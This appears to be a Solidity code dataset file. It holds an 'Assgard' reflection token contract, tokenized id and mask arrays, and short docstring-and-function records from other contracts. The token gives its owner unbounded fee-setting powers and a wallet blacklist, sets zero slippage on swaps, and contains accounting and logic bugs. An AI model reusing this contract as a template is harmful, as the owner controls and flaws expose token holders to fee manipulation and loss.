reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Assgard is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _botWallets; address[] private _excluded; address private marketingWallet; address private devWallet; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Assgard"; string private _symbol = "ASSG"; uint8 private _decimals = 18; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 6; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 2; uint256 private _previousMarketingFee = _marketingFee; uint256 public _devFee = 3; uint256 private _previousDevFee = _devFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address private _presalecontract; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 400000000000000 * 10**18; uint256 private numTokensSellToAddToLiquidity = 300000000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function airDrop(address recipient, uint256 value) public returns(bool){ require(msg.sender == _presalecontract || _msgSender() == owner(), "cant call this from anything else"); removeAllFee(); _transfer(_msgSender(), recipient, value * 10 ** 18); restoreAllFee(); return true; } function addPresaleContract (address presaleAdd)public onlyOwner{ _presalecontract = presaleAdd; } function changeDevWallet(address walletAddress) public onlyOwner{ devWallet = walletAddress; } function changeMarketingWallet(address walletAddress) public onlyOwner{ marketingWallet = walletAddress; } function addBotWallet(address wallet) public onlyOwner returns(bool){ _botWallets[wallet] = true; return true; } function removeBotWallet(address wallet) public onlyOwner returns(bool){ _botWallets[wallet] = false; return true; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDevAndMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); _takeDevFee(tDevAndMarketing); _takeMarketingFee(tDevAndMarketing); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDevAndMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDevAndMarketing); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tDevAndMarketing = calculateDevAndMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDevAndMarketing); return (tTransferAmount, tFee, tLiquidity, tDevAndMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); if(currentRate > 0){ } uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeDevFee(uint256 devAmount) private { uint256 currentRate = _getRate(); uint256 divisor = _marketingFee + _devFee; uint256 rdev = 0; if(devAmount > 0){ rdev = devAmount.div(divisor).mul(_devFee).mul(currentRate); }else{ rdev = devAmount.mul(currentRate); } _rOwned[devWallet] = _rOwned[devWallet].add(rdev); if(_isExcluded[devWallet]) _tOwned[devWallet] = _tOwned[devWallet].add(devAmount); } function _takeMarketingFee(uint256 amount) private { uint256 currentRate = _getRate(); uint256 divisor = _marketingFee + _devFee; uint256 rmkt = 1; if(amount > 0){ rmkt = amount.div(divisor).mul(_marketingFee).mul(currentRate); }else{ rmkt = amount.mul(currentRate); } _rOwned[marketingWallet] = _rOwned[marketingWallet].add(rmkt); if(_isExcluded[marketingWallet]) _tOwned[marketingWallet] = _tOwned[marketingWallet].add(rmkt); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateDevAndMarketingFee(uint256 _amount) private view returns (uint256){ return _amount.mul(_devFee + _marketingFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _previousMarketingFee = _marketingFee; _previousDevFee = _devFee; _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; _devFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; _devFee = _previousDevFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDevAndMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); _takeDevFee(tDevAndMarketing); _takeMarketingFee(tDevAndMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDevAndMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); _takeDevFee(tDevAndMarketing); _takeMarketingFee(tDevAndMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDevAndMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); _takeDevFee(tDevAndMarketing); _takeMarketingFee(tDevAndMarketing); emit Transfer(sender, recipient, tTransferAmount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_botWallets[from] == false || _botWallets[to] == false, "Botwallets cannot transfer. f*** you Bot."); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } }
SPDX-License-Identifier: Unlicensed
interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
6,747,686
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 1351, 80, 335, 28003, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 984, 291, 91, 438, 58, 22, 1733, 288, 203, 565, 871, 8599, 6119, 12, 2867, 8808, 1147, 20, 16, 1758, 8808, 1147, 21, 16, 1758, 3082, 16, 2254, 1769, 203, 203, 565, 445, 14036, 774, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 14036, 774, 8465, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 1689, 1826, 12, 2867, 1147, 37, 16, 1758, 1147, 38, 13, 3903, 1476, 1135, 261, 2867, 3082, 1769, 203, 565, 445, 777, 10409, 12, 11890, 13, 3903, 1476, 1135, 261, 2867, 3082, 1769, 203, 565, 445, 777, 10409, 1782, 1435, 3903, 1476, 1135, 261, 11890, 1769, 203, 203, 565, 445, 752, 4154, 12, 2867, 1147, 37, 16, 1758, 1147, 38, 13, 3903, 1135, 261, 2867, 3082, 1769, 203, 203, 565, 445, 444, 14667, 774, 12, 2867, 13, 3903, 31, 203, 565, 445, 444, 14667, 774, 8465, 12, 2867, 13, 3903, 31, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x2b28688e290aF66Fbf67280937399140B5F1Dda3/sources/BerryMaster.sol
* @dev Updates the Berry address after a proposed fork has passed the vote and day has gone by without a dispute @param _disputeId the disputeId for the proposed fork/
function updateBerry(BerryStorage.BerryStorageStruct storage self, uint _disputeId) public { bytes32 _hash = self.disputesById[_disputeId].hash; uint256 origID = self.disputeIdByDisputeHash[_hash]; uint256 lastID = self.disputesById[origID].disputeUintVars[keccak256(abi.encode(self.disputesById[origID].disputeUintVars[keccak256("disputeRounds")]))]; BerryStorage.Dispute storage disp = self.disputesById[lastID]; require(disp.disputeVotePassed == true, "vote needs to pass"); require(now - disp.disputeUintVars[keccak256("tallyDate")] > 1 days, "Time for voting for further disputes has not passed"); self.addressVars[keccak256("berryContract")] = disp.proposedForkAddress; }
11,057,021
[ 1, 5121, 326, 605, 21938, 1758, 1839, 279, 20084, 12515, 711, 2275, 326, 12501, 471, 2548, 711, 22296, 635, 2887, 279, 1015, 2507, 225, 389, 2251, 2507, 548, 326, 1015, 2507, 548, 364, 326, 20084, 12515, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 38, 21938, 12, 38, 21938, 3245, 18, 38, 21938, 3245, 3823, 2502, 365, 16, 2254, 389, 2251, 2507, 548, 13, 1071, 288, 203, 3639, 1731, 1578, 389, 2816, 273, 365, 18, 2251, 458, 281, 5132, 63, 67, 2251, 2507, 548, 8009, 2816, 31, 203, 3639, 2254, 5034, 1647, 734, 273, 365, 18, 2251, 2507, 548, 858, 1669, 2507, 2310, 63, 67, 2816, 15533, 203, 3639, 2254, 5034, 1142, 734, 273, 225, 365, 18, 2251, 458, 281, 5132, 63, 4949, 734, 8009, 2251, 2507, 5487, 5555, 63, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 12, 2890, 18, 2251, 458, 281, 5132, 63, 4949, 734, 8009, 2251, 2507, 5487, 5555, 63, 79, 24410, 581, 5034, 2932, 2251, 2507, 54, 9284, 7923, 22643, 15533, 203, 3639, 605, 21938, 3245, 18, 1669, 2507, 2502, 16232, 273, 365, 18, 2251, 458, 281, 5132, 63, 2722, 734, 15533, 203, 3639, 2583, 12, 25453, 18, 2251, 2507, 19338, 22530, 422, 638, 16, 315, 25911, 4260, 358, 1342, 8863, 203, 3639, 2583, 12, 3338, 300, 16232, 18, 2251, 2507, 5487, 5555, 63, 79, 24410, 581, 5034, 2932, 88, 1230, 1626, 7923, 65, 405, 404, 4681, 16, 315, 950, 364, 331, 17128, 364, 9271, 1015, 458, 281, 711, 486, 2275, 8863, 203, 3639, 365, 18, 2867, 5555, 63, 79, 24410, 581, 5034, 2932, 70, 21938, 8924, 7923, 65, 273, 16232, 18, 685, 7423, 22662, 1887, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x65AE76D4715FC4B037828b67f3738EfB21233099/sources/contracts/library.sol
* @dev Contract module which allows children to implement an emergency stop mechanism that can be triggered by an authorized account. This module is used through inheritance. It will make available the modifiers `whenNotPaused` and `whenPaused`, which can be applied to the functions of your contract. Note that they will not be pausable by simply including this module, only once the modifiers are put in place./
abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() public { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } }
8,238,320
[ 1, 8924, 1605, 1492, 5360, 2325, 358, 2348, 392, 801, 24530, 2132, 12860, 716, 848, 506, 10861, 635, 392, 10799, 2236, 18, 1220, 1605, 353, 1399, 3059, 16334, 18, 2597, 903, 1221, 2319, 326, 10429, 1375, 13723, 1248, 28590, 68, 471, 1375, 13723, 28590, 9191, 1492, 848, 506, 6754, 358, 326, 4186, 434, 3433, 6835, 18, 3609, 716, 2898, 903, 486, 506, 6790, 16665, 635, 8616, 6508, 333, 1605, 16, 1338, 3647, 326, 10429, 854, 1378, 316, 3166, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 21800, 16665, 353, 1772, 288, 203, 565, 871, 21800, 3668, 12, 2867, 2236, 1769, 203, 203, 565, 871, 1351, 8774, 3668, 12, 2867, 2236, 1769, 203, 203, 565, 1426, 3238, 389, 8774, 3668, 31, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 389, 8774, 3668, 273, 629, 31, 203, 565, 289, 203, 203, 565, 445, 17781, 1435, 1071, 1476, 5024, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 8774, 3668, 31, 203, 565, 289, 203, 203, 565, 9606, 1347, 1248, 28590, 1435, 288, 203, 3639, 2583, 12, 5, 8774, 3668, 9334, 315, 16507, 16665, 30, 17781, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1347, 28590, 1435, 288, 203, 3639, 2583, 12, 8774, 3668, 9334, 315, 16507, 16665, 30, 486, 17781, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 389, 19476, 1435, 2713, 5024, 1347, 1248, 28590, 288, 203, 3639, 389, 8774, 3668, 273, 638, 31, 203, 3639, 3626, 21800, 3668, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 203, 565, 445, 389, 318, 19476, 1435, 2713, 5024, 1347, 28590, 288, 203, 3639, 389, 8774, 3668, 273, 629, 31, 203, 3639, 3626, 1351, 8774, 3668, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xc6CadA314389430d396C7b0C70c6281e99ca7fe8/sources/src/contracts/FraxlendPair.sol
@notice The ```revokeMaxLTVSetter``` function revokes the max LTV setter
